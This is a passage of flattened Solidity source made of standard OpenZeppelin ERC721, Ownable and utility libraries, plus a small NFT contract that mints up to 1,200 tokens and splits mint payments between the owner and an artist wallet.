function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: main.sol
pragma solidity ^0.8.0;
contract NiftyNation2021_2022 is ERC721Enumerable, Ownable {
using Strings for uint256;
uint256 public price = 300000000000000000;
uint256 public totalCount;
uint256 public totalMax = 1200;
address public artistWallet;
string public baseURI;
constructor(string memory name_, string memory symbol_, string memory baseURI_, address _artistWallet) ERC721(name_, symbol_) {
baseURI = baseURI_;
artistWallet = _artistWallet;
}
function _baseURI() internal view virtual override returns (string memory){
return baseURI;
}
function setBaseURI(string memory _newURI) public onlyOwner {
baseURI = _newURI;
}
function setPrice(uint256 _newPrice) public onlyOwner {
price = _newPrice;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token.");
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString(), ".json")) : '.json';
}
function mint() payable public {
require(totalCount + 1 <= totalMax, "Sold out");
require(msg.value >= price, "Insufficient funds, please check price");
payable(owner()).transfer(msg.value/2);
payable(artistWallet).transfer(msg.value/2);
_safeMint(_msgSender(), 1 + totalCount++);
}
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|
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
